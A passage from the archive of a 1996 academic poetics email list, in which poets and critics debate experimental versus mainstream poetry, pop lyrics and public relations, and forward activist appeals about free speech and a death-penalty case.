I can hear the cantatas and quartets of Hans Werner Henze hundreds of times and still hear new levels in his work; he isn't overexposed; and I don't completely understand his style. That is why I listen to Henze and avoid Michael Jackson. If the reader infers snobbery simply because I've *mentioned* a classical composer, then the active snobbery (read: dismissiveness) is on the part of said reader and has nothing to do with my comparison.

Even so, if someone here says, "Cobain; *yawn*; do we really have to discuss him *again*?" I for one will probably read said statement as a complaint about

over-exposure. I won't presume it to be a snobbish condemnation simply because it is against a pop musician and appears in a poetics list.

(And yeah, Nick Cave can write great lyrics. But I notice that no one is discussing his novel, _King Ink_!)

To those of us who shuttle between the worlds of classical and popular music, academic writing and comic book scripting, poetry and industrial penny dreadfuls, rhetoric that condemns eclecticism as snobbery is as old as the high/low culture dichotomy it tries to assault. Boolean logic is limiting, whether it is used to denouce a genre of music, or to denounce en masse the critics of music in that genre. By all means, ask for respect where respect is due. But don't simplify the views of others in the name of respecting complexity.

I could rail at critics for not respecting the visual poetry in Michael Soavi's _Cemetery Man_ (or _Morte Dellamorte_). But what good would that do, and what would it add to anyone else's experience of seeing the film? I'd rather say--to put it simply--: "_Cemetery Man_ is brilliant and funny, and is infused with a sexuality that manages to be violent, gory and passionate without being misogynistic." (And if anyone is interested, I'll go into greater detail.)

In other words: don't get sidetracked by categories. Just
quote the lyrics you like and show us why you like them.

All the best,

Rob Hardin

(PS: Colon after em-dash courtesy of Thomas De Quincy.)

http://www.interport.net/~scrypt

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379. cris cheek
Re: What's experimental and totally predictable?
Fri 18 Oct 1996

Thanks for speaking out on 'our' behalf Mark. Like many others here, I and I, I wouldn't bother answering, and so on . . . community . . . and so on. And all that, when I so want to and so on . . . be positive, and

> btw - who are 'we' - where's the boundary between an 'in' and 'out'?

is the 'mainstream' the 'in' and the 'experimental' therefore 'marginalised' or 'marginaligned' or 'out' - or is the 'experimental' really the 'in' and the 'we' of which I'm other being constituted? My binaries are so confused today.

Shit Mark, it's great to know that there are fearless guys, such as yourself, out there clearing the streets for 'us' to walk more safely down. I've been feeling so

vulnerable and, well, marginalised within myself lately. 'Experimental' being sometimes just another's experiment appropriated as convention, an all - still wearing the designer label. Real pioneering snide.

What's for breakfast Keith?

streaming love
cris

ps. Answer, Dear Board Members, it's the other side of defence

↑ Index

380. cris cheek
Re: "chest thumping" and the uncalled for
Fri 18 Oct 1996

O Mark, you're just so - sensitive. You must be a poet. Us critics are all so - brutalising in our characterisations. Wasn't Tubthumper a Disney legend?

Seriously, thanks for speaking out (at such great length) on 'our' behalf. Like many others here, I and I, I wouldn't bother answering, and so on . . . community . . . and so on. And all that, when I so want to and so on . . . be positive (like Giordano Bruno), and

btw - who are the 'we' - where's the boundary between an 'in' and an 'out'?

Is the 'so-called mainstream' the 'in' and the 'single-celled experimental' therefore 'marginalised' or 'margin-aligned' or 'out' - or is the 'experimental' really the 'in' and the 'we' of which I'm other being constituted? My binaries are so confused today. What we need is a poetic version of the NAFTA or a poets NATO with self-appointed representatives such as yourself, holding the crow(d)s back.

Actually it's great to know that there are fearless guys, out there, clearing the streets for 'us' to write more safely down. I've been feeling so vulnerable and, well, marginalised within my own syntax lately. 'Experimental' being sometimes just another's experiment appropriated as convention, an all - still wearing the designer label - shhhh, don't touch, 'experimental'. Real pioneering snide.

What's for breakfast Keith?

streaming love and utterly reprehensible
cris

↑ Index

381. **cris cheek**
apologia
Fri 18 Oct 1996

Hi, in this week of 'almost' total handgun ban in Britain - i must have sent a blank.

sigh and sigh
cris

↑ Index

382. **Ron Silliman**
The Times (Lit Sup) are a-changing....
Fri 18 Oct 1996

The discussion of the avant-garde and its fleas ariseth one more time, regular as rain, and I agree with Peter Landers that it's good to read it here where there are so many intelligent points of view. Yes, the avant-garde (as a tradition) uses the "mainstream" (which is neither main nor a stream) as a convenient foil. The TLS piece seemed to have other things in mind and falls into a long line of works that wishes it could repress the new (whereas the new wishes it could "liberate" the repressed).

At the most recent summit of the G7 nations in Lisbon, the entertainment for the first night's formal banquet was the oft-mentioned Bob Dylan. Hopefully, he sang "masters of war," but the way he so often mumbles his performances who can say what might have been heard? I think that bank in Montreal is more on target than we would wish to admit. Like many here, I do take it as all but self-evident that his skills as a lyricist have had a far greater impact on us all than any number of talented (but less talented) successors. Tho I had hopes for awhile for the high formalism of Public Enemy.

All best,

Ron Silliman

↑ Index

383. **Henry**
Re: What experimental poets do to the mainstream
Fri 18 Oct 1996

On Thu, 17 Oct 1996 16:44:36 -0400 Rod Smith said:
>
>There are lots of magazines because the people engaged in the writing are
>willing to spend their time & money on them. Most of them do not receive

>institutional support of any kind. This is true of many reading venues as
>well. There are not a lot of universities that support the generalization
>"experimental." I can think of 5, two of which, Naropa & New College, were
>started by poets. It seems to me no one has refuted the basic gist of the
>original post by Mr. Evans, & it would seem that the reason for this is that
>he was, & is, in fact, correct.
>
>corporate impressionism still sucks,

Most of the s-c mainstream magazines started the same way. I've been engaged on my own path in writing for a few decades now & have also succeeded pretty well in keeping my distance from the "institutional support" it seems the real a-g experimenters crave. What camp does that put me in? Well, unlike Madonna (maybe more like Mary Magdalen?) I don't care whether or not people consider me an "experimental artist". Bad taste, I know, to talk about oneself. Better to merge with the "normative" embattled proto-post-plus- nec-ultra-futurists... - Henry Gould

Hypothesis: what corporations think of doing with art doesn't matter in the slightest. For one thing, corporations don't think. Have fun down at the bank lobby, Bob.

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384. Tom Mandel
all over the map
Fri 18 Oct 1996

(The last few days, for some reason, I've been rising earlier than usual. Hence a couple of posts.)

Teenagers? If you've got them you know they may actually have serious interests.

Natalie Merchant doesn't appeal to them, however -- sorry, George.

Kurt Cobain was an incredible writer of the American pop song, really exceptional. Every song has a hook at the melodic, rhythmic and verbal whole. You have my personal guarantee, moreover, that you'll be hearing his songs on elevators within a decade... no, within five years. Remember that I said it. (And it is not a slam on KC)

Pop music = music that is not classical? Huh? Verdi the most popular composer in the 19th century full stop. It really is possible to think in a way that is not simply manipulation of the given terms with the added spice of "where I stand" with respect to them (i.e. "I" "prefer" "experimental" "poetry")

By all accounts, Robert Johnson loved to sing show tunes, could pick up anything he heard almost instantly and entertained everybody with a wide range of singing and playing. He's recorded doing blues only -- that's all he was allowed to represent as his range. (Tho listen to his "Red Hots" [I prob. have the name of that tune wrong] for an indication outside the box)

On experimental poetry vs. mainstream: these are names not descriptors. Why do people volunteer to be lumped together, I always wonder?

Putting the other guy down is an exact equivalent to praising oneself. Simply writing this on the wall above one's monitor will go a long way to inducing a useful silence.

(There was, btw, a long thread on "experiment" in poetry vs. science on this listserv as much as 2-3 years ago.)

Capitalism as denying human potential. Gee, that's not what Marx thought. But it does feel good to say it. Esp. when there's no cost attached.

I often think about a man named, I believe, David Brodsky, a jew I'm sure (alas) who spent with the Mandelstams the last evening before Osip's final arrest. Brodsky was a literary guy of some kind, a translator I believe. He seemed reluctant to leave. In retrospect, his job was to be there to make sure the object of attention would not skip out.

I'm sure he had a melancholy kind of compromised mind, committed to literature and with an overarching sense that "the revolution" simply must have a true hold on the future, given all the good energy it encapsulated, the social force it held. There were many like him I think, certain of generalizations, able to overlook any particular, with a moral equation handy when necessary to cover threadbare quotidian betrayals of common sense and pals. Oh well.

Changing subjects: "Experimental" poetry and art are "mainstream" in our culture -- this would seem to be obvious on the face of it, certainly to anyone observing the career of say John Cage to pick only one example. Funded, published, recorded, etc. and all by institutions in the main stream of our culture and economy.

I read the other day that Madonna "considers herself an avantgarde performance artist."

How likely would it be that she would "consider herself" a Jew in Germany in 1938? A Panther in Chicago in 1968? Isn't it obvious to you that a term like "experimental" is an honorific? Self-praise?

What about some NEW ideas. Maybe if we advertised this listserv outside the academy?

Tom Mandel

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

385. Jordan Davis
Welcome to the Windhover
Fri 18 Oct 1996

I know the connection between Hopkins and Olson ("the achieve of") has been pointed out, and I don't have my lyric sheet handy, but I could swear there's some 'Wreck of the Deutschland' in Chuck D.'s masterpiece, 'Welcome to the Terrordome.'

Come see Juliana and Tim,
Jordan

PS Julie Patton (50 min) and Lee Ann Brown (30 min) last night at Segue (att: 27). Julie was in her performance diva/schoolmarm get-up, giving out blue stars to the audience for good answers, doing library time, singing the alphabet. Lee Ann showed two videos, "Carnet" and "Bunny Day (Bonne Idee)." Stealing the show was the man who inhaled his beard.

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386. Loss Glazier
UK Readings
Fri 18 Oct 1996

[Routed to you from the EPC]

Name: Lawrence Upton
Address: [redacted]
Subject: Poetry readings in uk
Comment:
Sub Voicive Poetry, Upstairs, The Three Cups, Sandland Street, London WC1
28th October 1996 - Ira Lightman and Scott Thurston (UK)
5th November 1996 - Robin Blaser (Canada)
19th November 1996 - Michael Heller (USA)
14th January 1997 - Allen Fisher (UK) - Second Eric Mottram Memorial Reading
4th February 1997 - Basil King and Martha King (USA)

| Loss Glazier <[redacted]> |

| Electronic Poetry Center |
| http://writing.upenn.edu/epc |

↑ Index

387. **Gwyn McVay**
Re: defensiveness as prop?
Fri 18 Oct 1996

In a recent book called /'Scuse Me While I Kiss This Guy,/ compiled by Gavin Harris (is that right?) of /Details/ magazine, it's revealed that someone went around thinking "a mosquito: my libido" was "I'm a scarecrow and a Beatle." I kind of like that variant reading.

Recommend this book for a silly jumpstart into disjunctive thinking on those mornings when your brain just won't turn over--

Gwyn

↑ Index

388. **maria damon**
Re: defender of pop
Fri 18 Oct 1996

In message <[redacted]> UB Poetics discussion
group writes:
> >And I dont have conversations with teenagers
> about music.
>
> rock/pop is no longer the music of teenagers. if it ever was. actually, many
> teenagers these days are listening exclusively to rap.

speaking of which, i'm kind of surprised that there hasn't been, in the year and a half i've been on the list, much discussion of rap and hiphop culture as a vanguard development, or at the very least, a cultural expression w/ something of relevance to poetixlisters. what do you all think of artists like tracie morris and other poets who take much of their inspiration from hip hop culture? md

↑ Index

389. Jordan Davis
Re: defensiveness as prop?
Fri 18 Oct 1996

Gavin Edwards "wrote" 'scuse me while I kiss this guy'
and he didn't even credit Larry Fagin.

Aesthetic certainty,
Jordan

↑ Index

390. Gabrielle Welford
testy response (fwd)
Fri 18 Oct 1996

Hope you don't mind me forwarding this "other side" to the calls for support from India that I forwaded before. gab.

---------- Forwarded message ----------
From: Arindam Dutta <[redacted]>

Hello, I happened to be in a mailing to which you had sent an email reg the "Doshi-Hussain Gufa". My response to that mail is attached below. If you were not the originator of that email I trust you will forward this to whoever forwarded the original email to you. This is not meant to be a personal rebuttal nor is it my intention to hurt anyone's feelings. Thanks, -Sriram

It is indeed heartening to see the citizens of India rise for freedom of expression which is probably the most sacred of all rights democracy can or should guarantee. But the groups heading the expression of such opinion, are they really fighting for the preservation of the freedom of speech and expression? I cannot but doubt it. I can clearly remember two different occasions when the freedom of expression was curtailed by the Govt. of India. First was the "The Satanic Verses" by Salman Rushdie and the second Martin Scorsese's film called "The Last Temptation of Christ". Both of these expressions by an artist were banned by the Indian Govt. There were no protests whatsoever from any corners. I cannot but notice the one commonality between the two instances I've quoted. They were concerned with a non-Hindu religion. And in the current instance whats the religion involved? Hinduism! Ah! What a coincidence! If you folks are really for freedom of expression start where all this started. Make "The Satanic Verses" and Martin Scorsese's film available to the Indian public before supporting M.F. Hussain's blasphemy of Hindu Gods. A little adherence to chronology never hurt anyone!

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391. **Gabrielle Welford**
AZI KAMBULE UPDATE (fwd)
Fri 18 Oct 1996

---------- Forwarded message ----------
Date: Thu, 17 Oct 1996 03:51:05 -1000
From: Steven Hawkins <[redacted]>
17 October 1996
NCADP CASE UPDATE & ACTION ALERT

TO: CONCERNED ACTIVISTS
FR: STEVE HAWKINS, DIRECTOR
RE: AZI KAMBULE, S. AFRICAN YOUNGSTER FACING DEATH ROW IN MISSISSIPPI

PLEASE FORWARD TO ASSOCIATES & MEDIA CONTACTS

Efforts to save Azikiwe Kambule, a 10th-grader facing death row in Mississippi as an accomplice to a murder he did not participate in, have produced an important early victory! Fundraising activities have at last collected enough money for Azi's family to retain a private attorney, a critical need against Mississippi's well-funded prosecutors. The arrival of new counsel means Azi's case won't go to trial until January at the earliest. Meanwhile, the campaign to save Azi continues to gain momentum. Students in Pretoria, where Azi's case is headline news, are holding a bake sale to help in fundraising efforts. Students at Oberlin College are circulating petitions on Azi's behalf. Columbia University students are hosting a poetry benefit. Over 500 letters, including appeals from Archbishop Desmond Tutu and other human rights leaders, have poured into the office of Madison County District Attorney John Kitchens, demanding that he drop his effort to have Azi put to death. Dennis Brutus, a South African poet and former exile noted for years of work to win the release of apartheid's political prisoners, has convened the Azikiwe Kambule Committee for Justice to help coordinate activities on this important case.

ACTION ALERT

Thanks to all who have already written letters and/or contributed to the defense fund. The AKCJ is calling on concerned people to take the following steps next:

*Encourage religious leaders to take a stand. Madison County District Attorney John Kitchens needs to understand that the path he is taking is not only anti-human rights but immoral. By the end of the holiday season, the Reverends Robert and Carolyn Abrams plan to collect at least 2000 letters from religious leaders of all faiths who oppose the

death penalty for children. Address the letters as follows (model letters are available from the NCADP's national office)

Mr. John Kitchens
Madison County District Attorney
c/o Revs. Robert and Carolyn Abrams
216 North Azalia Drive
Wiggins, MS 39577

*Arrange for Dennis Brutus to speak in your area. The NCADP and AKCJ are setting up a speaking tour for Mr. Brutus to raise public awareness of the case. Interested parties should contact the NCADP for more information. *Pass around the "Stop Killing Kids" petition currently being circulated by the AKCJ and the National Coalition to Abolish the Death Penalty and mail them to the NCADP by January 2, 1997. Petitions will be hand-delivered to Mississippi officials early in the new year. Original copies of the petitions are available from the NCADP's national office; please e-mail us at [redacted] to receive a copy. Alternatively, activists can lay out and run off petitions using the attached text and instructions.

17 October 1996
NATIONAL COALITION TO ABOLISH THE DEATH PENALTY
918 'F' St., NW
Suite 601
Washington, D.C. 20004
[redacted] (ext. 16) phone
[redacted] fax
[redacted]

---------- SAVE AZI!

PETITION

TEXT

Title: "Mississippi Must Respect the Human Rights of _All_ Children"

Body: Whereas several major international human rights treaties ratified by the US -- including the International Convention on Civil and Political Rights -- prohibit seeking the death penalty for crimes individuals commit before the age of 18.

Whereas the UN Convention on Rights of the Child, which the US has signed, clearly states: "Neither capital punishment nor life without possibility of release shall be imposed for crimes committed by persons below eighteen years of age."

Whereas the US is the only Western country, and one of only five nations in the world, still executing children.

Whereas the State of Mississippi has a vested interest in moving beyond its reputation for allowing its residents' human rights to be trampled.

Be it resolved that we the undersigned urge Mississippi Governor Kirk Fordice, Attorney General Mike Moore and Madison County District Attorney John Kitchens to respect international human rights law, and cease their efforts to put Azikiwe Kambule, or any other child, on death row or behind bars for the rest of their natural lives!

---------- INSTRUCTIONS: Have petitioners provide their signature and printed name, and if willing, their address, phone number and e-mail as well. Please attempt to collect 250 signatures (1000 for students on large campuses). Return the petitions to the NCADP by January 2, 1997.

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392. Keith Tuma

Re: "chest thumping" and the uncalled for

Fri 18 Oct 1996

---

for breakfast:

pop's tarts, blearyeyeddumbasshituniversitylifeidealesstwocoldpills, and

kurt cobain not in an elevator but in part 2 of allen fisher's "mummers' strut"

This is out of our range
This is out of our range

This is out of our range
. . .

This is getting to be
This is getting to be

This is getting to be
. . .

I'm a Negative Creep
I'm a Negative Creep

I'm a Negative Creep
and I'm stoned

Sometimes it works
and sometimes it doesn't

rock
it

begin another grasp
from the inside

rocket

Here's a healthy orangejuiceand graingraingrain to Peter Quartermain, who published it in _West Coast Line_ (buy it for lunch)

get yr bullets while you can, cris,
keith

↑ Index

393. Joe Amato
public relations & poetry...
Fri 18 Oct 1996

---

hey folks, i don't quite know how to say this, but---

well, i'll try saying it this way: any of you know the book

toxic sludge is good for you: lies, damn lies, and the public relations industry
by john stauber and sheldon rampton (common courage press, 1995)

?... i'm teaching it alongside _silent spring_, _discipline and punish_, _in the age of the smart machine_, and _rivithead_, for my business com. course (which i've formally retitled "communications and the workplace"---just to make what i do make a bit more surface-sense)...

anyway, it's a real eye-opener, if you haven't (and mebbe even if you have) been paying attention to the growing propaganda machine in the u.s. that's comprised of giant public relations firms and their associated advertising giants...

interesting that jed rasula uses the term, to wit:

"... my focus is on the oddly neglected fact that New Criticism was in effect a public relations firm that pioneered and then successfully promulgated a certain brand of poetry" (_the american poetry wax museum_, 69)

now jed doesn't situate such effects within the history of public relations per se, but instead correlates his observations about new criticism with what he calls the "the age of sociology" (the stauber/rampton book gives a brief overview of the history of pr, focusing on the field's founding fathers, ivy lee and edward bernays)...

anyway, the stauber/rampton book *does* in fact provide an excellent (and as i say, scary) account of the far-reaching effects of contemporary pr maneuvering...

and i was thinking last night, while discussing the book in class, about this discussion of experimental (term used advisedly, and i use it to denote formal qualities) vs. mainstream (term used advisedly, and i use it to denote economic realities), and wondering whether we haven't, all of us, fallen somewhat into the trap of failing to distinguish twixt the pr component of poetics, rather strictly speaking, and the various other practices that constitute the writing and study of poetry?...

i mean, to use the term pr a bit less figuratively than does jed (who writes "in effect"), there are very real public relations operations no doubt being waged by very real firms ("literary" and otherwise) and individuals ("literary" and otherwise), and it is in the best interests of such firms and individuals to promote various aesthetics for various reasons (no, not necessarily poetry per se, but at the very least poetries that are probably understood as a subset of larger socio-cultural practices)... and if there is A mainstream aesthetic, or general set of aesthetic practices that have gone mainstream, it is likely that this is the result of (no, i wouldn't use a highly-charged term like 'conspiracy') an encompassing, super-efficient pr effort, one that depends upon, say, something like what stauber/rampton detail as a key pr strategy: after ronald duchin (who attended the us army war college in carlisle, pa, and went on after his stints working for the secretary of the defense and the vfw to become vice-president of mongoven, biscoe and duchin---a leading pr "spy" firm) dividing activists into four categories: radicals, idealists, opportunists and realists...

for duchin, it's the realists (i.e., pragmatists) who are most vulnerable to pr (you can appeal to their desire to work within the system)... then the opportunists (you can appeal to their base motives)... hence the radicals (those who are motivated by social justice and systemic change) are marginalized by educating the key group, the idealists---which latter are vulnerable simply b/c they can be persuaded ('educated') to accept a corporate compromise position that apparently reduces harm (to individuals)... but it's the so-called radicals, clearly, who are most resistant to pr logic...

now we don't need to accept duchin's categories as such (or, for that matter, my alignment of pr-activist strategy with poetics issues), but if this DOES indeed represent a primary way by which pr firms regularly exploit citizenry (i.e., US) to corporate ends, we might consider the extent to which each of us, as readers, is vulnerable to contemporary pr-style logics... i won't work out the correspondences in detail (and besides, i may be verging here on sheer idiocy)... but mself, i find that i'm too pragmatic (probably my past incarnation

as an engineer should have told me this), and mebbe a bit idealistic... i'd like to think i can be more radical than i am, or have been, which would mean working harder to accept writing that actively confronts my inertia, my tendency toward status quo, to be willing to entertain more fully writing that threatens to dismantle the established system in order to bring about a more diverse, if not representative, aesthetic reality...

now i can't say to what extent one's personal (or public) commitment to a given poetry compromises one's willingness to bring about social justice (i'm talking in aesthetic terms here, and i trust some of you will note the resonance with my earlier attempt to discuss good/Good bad/Bad)... that is, i see no reason why, in theory, a poet who has garnered mainstream acclaim can't at the same time argue for a more radical rethinking/reworking of publishing possibilities (which i would say does not constitute yet more pr---simply b/c it's not a matter of re-propagandizing, but of activating for actual fair play)... at the same time, i can imagine, practially speaking, why there may be less real motivation to do so, once one is resting sufficiently on one's publishing laurels... same goes, in many ways, for scholars (lentricchia's recent 'conversion' a case in point)...

but it does seem to me, in any case, that to bring about a multiplicity of perspectives in any discussion of poetry/poetics (and it's the binary of experimental/mainstream i'm after, finally) we ought at least to recognize the ways in which our apparently individualized perceptions of poetry and poetics have been shaped (literally!) by public relations efforts that attempt to exploit our habitual orientations, aesthetic and otherwise (and whence such orientations is another matter)... so if we talk about our commitment, as writers and readers, to various poetries---poetries which are of course subject to, say, political as well as aesthetic scrutiny---we might do well, too, to talk about how we see such commitments as speaking to (our) other, less literary, less scholarly public agenda... perhaps, say, the bulk of our contributions to this forum?... like, aside from establishing network community, communicating publication/distribution/readings information, permitting for dialogue across continents, chat, supporting our job searches (mea culpa), and even incl. (yes) the *noise* i so value around here---and is (or isn't) this enough?---what more can this forum do to recuperate those voices that have been lost in the mainstreams?... are we doing enough to promote diversity, or is there another way to conduct ourselves (shorter, more pointed posts?!) that might make room for more voices?... and one hobbyhorse: can we discuss the material realities of pr in even more material detail, can anybody out there make legible whether and to what extent there are pr agencies 'running' tls, dictating review policy? (in the absence of which discussion perhaps we *are* only dealing with a secondary effect, and don't quite grasp the extent of the problem(s), which is clearly the case with the multinationals)... and can we discuss this w/o provoking one another into

intellectual warfare over whose commitment to the margins (if margins they be only *as a result of* poetry-related pr) is the more righteous?...

anyway, apologies for going on some... i know this is messy, but i'm just thinking out loud...

best,

joe

↑ Index

394. **Ira Lightman**
Re: How To Not Read
Fri 18 Oct 1996

Er hi, I'll just put my head above the parapet
again. Thanks, Steve, for seeing my good intentions;
I was only teasing you by nitpicking your style
because I thought you were hard on Mr Potts
who writes quite succinctly and readably; I
don't think that makes him right, I do think
he articulates some useful things to know
people are thinking; I don't think the TLS is
central command HQ; although it's read widely
because still on automatic subscription to
world libraries, I don't myself think it
influences people to buy or not buy books as
much as Poetry Review does - and as Peter
Larkin said, it reviews C of C better; and I also
think readers are used to its crankiness and its
wrongness (it is owned by Rupert Murdoch,
after all) and wouldn't go jump in a lake
if it told them to.

As I hoped, I've been thoroughly
educated on how different the US is, and I
can much better see it all now. I tentatively
still quibble with the financial tack, but
only because no-one in Britain except Seamus
Heaney gets much money; patronage and more
review space yes, but this is leading to
cynicism towards hype, like everyone reviewing
and interviewing the same films and stars,
and actually something fresh comes well out
of that. Which is why C of C is actually

being bought, much more than A Various Art,
which would probably sell if re-issued in
a slightly expanded 2nd edition or some such.
People are bored with the blah blah mainstream.
It's also why reviewers are being more polite,
more articles on Heaney won't sell their
mags. Is there no potential of this
stateside?

I guess I'm defending: writing style
as something one can work on in essays and
personal deportment style and gig style as
something one can work on in publicising
difficult poetry. Thus, listening
to what feedback we can get,
and knowing how to take it usefully.

But, Steve, I don't accept your defence:

"the phrase 'xenophobic' was meant to indicate
how deeply structured Potts review seemed to
be by the fear of difference"

Because almost none of the words and terms
you're using are precise enough.

1) Xenophobic means xenophobic, and a thesaurus will
yield "touchy", "reactionary" and "rattled",
so that one can still wound by calling someone
who is dangerously xenophobic "xenophobic".

2) "Deeply structured" seems to presume a lot
as does

3) "fear of difference", especially since
the latter can sound like you mean, Potts won't
buy his groceries from someone not British (I'll
leave your analysis of the deep structure of my
idiomatic expression "as a British poet" which
simply meant "as someone living in the country
and the idiom you have misread, so I forgive you")
or vote for his usual party if the candidate's
sexuality or race or gender isn't his own, or
goes out in gangs and physically hurts people.
I just think Potts is, and far too many of us
are, tuned into his own music and his own work
and is being too quickly nasty as a literary

reviewer. He doesn't hear it because it's not
the same. That's less fear of difference than
amour propre, which is highly highly highly
common.

But all I wanted to do was make a stand
for a kind of essay style I like, and to see
if my post could get people to tell me about the
US more.

Best

Ira

P.S. Mark Wallace, I cannot even backchannel you
over your post. I know you've read my essay on
British poetry and magazines and Davie, in
Texture, because you've publically said so on
the list. The charge of wanting censorship has
actually made me really upset, as I consider
you a friend, an ally, and an interesting
head of steam (I mean that as an idiomatic
compliment with the exact meant resonance that
passion is great but must know itself to
keep its passion and evolve at the same time).
I'm considered by some in England as so
pro-Language Writing that I'm just being trendy
and outrageous and permissive for their own
sake. I'm published by Leave Books, and edit
a magazine promoting Juliana Spahr, Elizabeth
Burns, Lisa Samuels and some British younger
women whom I am the only British editor to seek,
encourage and publish. You really don't know
what you're talking about here, and have leapt
to a whopping conclusion. Cris and everyone
are teasing you harshly, and I say be sensitive,
we're not all bashing you. But your impetuousness
loses you this friend, barring an apology.

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395. **Ira Lightman**

How To Not Read & a political abstraction

Fri 18 Oct 1996

As a ps, I'll just paste in a paragraph
from a backchannel note; if it seems
ad hominem, it's just because I need to
offer an alternative psychoanalysis of
deep structure. Is language structured
like "the" unconscious (Lacan), or is
it more like a society or even a family,
thinking of Derrida's Glas. Anyway, here's
the homily:

With wanting a response, surely most people know

you put out a feeler and it never comes back

as you'd predict and that's community? Okay,

you can call that capitalism but it's also

true of friendship, or just intimacy that

means two people share an experience that

helps them both. I can't call that friendship

moment capitalist to fit a theory of the

horrors of having to sell yourself or thing.

I'm inclined to call the totalising rejection,

of a whole type of relations, a pseudo

"anti-capitalism"; and say it masks a passion

(to want intimacy) so rich that it sure makes the

poetry sing yeah but the person vulnerable, likely

to control and over-react; and that's tragic

human when it could have been gorgeous human.

Ira

↑ Index

396. **Rod Smith**
Re: How to Not Read
Fri 18 Oct 1996

This is Mark Wallace speaking. Rod kindly let me use his e-mail as I'm away from the workspace today:

Dear Ira, I'm very aware of the positive effect you are having on the poetic environment we are part of, which is why I have to admit to feeling distressed about your recent posts. In applying the word "censorship" to your recent position I was probably overstating my case, and for that I apologize. Frankly, I often overstate my case to this list on purpose, in an attempt to draw attention to issues that seem to me of importance. In so doing, I do attract some negative attention but manage also to encourage lively debate. I do however want to suggest that your initial post in response to Steve Evans does in fact suggest that his piece should not be further circulated and is not worthy of broader consideration. Here's what you said:

> I don't agree at all with Mark Wallace
that Steve Evans should consider more widely
>circulating this review; it just about works
in the context of this group, where, much to
>my own personal regret, we experimentalists
get more of our chests as outbursts, especially
>versus the mainstream, than we do engage in real debate.

In failing even to suggest that Steve's piece, perhaps rewritten for context, could have any relevance to the TLS, you still seem to me to be tacitly aiding those who think that the best response to avant-garde work is silence, dismissal, and ridicule. I must continue to insist that you rethink your position on these issues while at the same time remaining sorry that my tone-- purposefully gruff in order to make things happen --may have in this case personally offended you.

Mark Wallace

↑ Index

397. **Henry G**
Re: public relations & poetry...
Fri 18 Oct 1996

Despite the fact that I probably would disagree in the end with Joe Amato about minds being "literally shaped" etc., and despite the fact that what he says here goes against most of the noise I've been making on these subjects, the issues he

raises here are so important & pertinent to whatever people think "poetics" means!

"experimental" refers to formalities - yes!
"mainstream" to economics - yes!

To talk about pr starts to get at historical realities, in a more direct way what I was mumbling about before in terms of there being more ways to "promote" specific poets & poetries than simply market capitalism. Here categories like propaganda & entertainment & art start to get fleshed out. And you might open up a new critical angle within poetry on the hall of mirrors. (Though he rightly suggests we can't step outside the hall ourselves.) - Henry Gould

↑ Index

398. **Steve Carll**

Re: POETICS Digest - 16 Oct 1996 to 17 Oct 1996

Fri 18 Oct 1996

At 12:00 AM 10/18/96 -0400, George Bowering wrote:

> *Dear Steve: I am not interested in decrying those people you listed after Bob Dylan. It is just that I have never heard of them. And how would I? I dont watch teenagers' TV shows, or read their magazines, or listen to commercial radio stations. And I dont have conversations with teenagers about music. So I have not heard of these people; but whenever I have been somewhere where I cannot get my ear away from someone's radio and they are playing commercial radio, I have not heard anything that seemed like good poetry to me. Having not heard of Kurt Cobain before he shot himself, and having been told that he was a big deal, I listened to a few cuts on a video channel on TV. I didnt hear anything that resembled either poetry (say, Paul Blackburn) or music (say Dollar Brand).*

Ah, George, at least when you're dismissive, you do it with that sly sense of humor. It doesn't require any contact with teenagers or "their" culture (which is usually really segments of dominant culture targeted at teenagers) to hear of these musicians, and I don't often listen to commercial radio stations myself. But I do keep my eyes and ears open wherever I am, have listening sessions with my friends (who are in their 20's and 30's, for the most part), etc. etc.

I might just add that it's intrinsic to Nirvana's poetics that their poetry won't resemble Paul Blackburn's or their music Dollar Brand's, but there's plenty of room in both fields for what their ideas of music and poetry are. I think that should be a given, but I wonder sometimes...

If I remember rightly, your taste runs more toward jazz, does it not? I hear that was teenybopper music at some point too. :-)

****
[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

399. **wheeler**
Re: POETICS Digest - 16 Oct 1996 to 17 Oct 1996
Fri 18 Oct 1996

George & Steve:

It's Abdullah Ibrahim.

Cheers!
Susan Wheeler

↑ Index

400. **Aldon L. Nielsen**
Re: Where are the ag readings of yesteryear
Fri 18 Oct 1996

Keith -- I won't speak for any of the others on this list, who have already been sufficiently othered for the week, but my disucssion of David Smith appeared in an issue of _C.L.A. Journal_ some years back (even MORE years after I sent it in) -- will let you know when I get to Frankie B.

I'm sure I'm not alone in having committed such things to print -

↑ Index

401. **George Bowering**
Re: POETICS Digest - 16 Oct 1996 to 17 Oct 1996
Fri 18 Oct 1996

> *George & Steve:*
>
> *It's Abdullah Ibrahim.*

> *Cheers!*
> *Susan Wheeler*

One knows. It is just that when you say Dollar Brand to each other, you are signifying that you listened to him when that was still his name on records. Besides, he was given that name by a great African-American.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

402. **George Bowering**
Re: defensiveness as prop?
Fri 18 Oct 1996

> *Gavin Edwards "wrote" 'scuse me while I kiss this guy'*
> *and he didn't even credit Larry Fagin.*
>
> *Aesthetic certainty,*
> *Jordan*

Fred Wah has said, some time ago, that he thought that was what Jimi H. was saying. Gotta be that Northwest accent.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

403. **George Bowering**
Re: POETICS Digest - 16 Oct 1996 to 17 Oct 1996
Fri 18 Oct 1996

> *If I remember rightly, your taste runs more toward jazz, does it not? I*
> *hear that was teenybopper music at some point too. :-)*

> **********
> [redacted] *Steve Carll*

Well, yeah, it was. But when we werent listening to ch. Parker we were reading Andre Gide, most of us kids up in the Okanagan Valley.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

404. Aldon L. Nielsen
Re: What experimental poets do to the mainstream (fwd)
Fri 18 Oct 1996

---

this & next message got bounced back to me last night -- hope they don't now appear twice --

---------- Forwarded message ----------
Date: Thu, 17 Oct 1996 14:05:05 -0700 (PDT)
From: Aldon L. Nielsen <[redacted]>
To: UB Poetics discussion group <[redacted]>
Cc: Multiple recipients of list POETICS <[redacted]>
Subject: Re: What experimental poets do to the mainstream

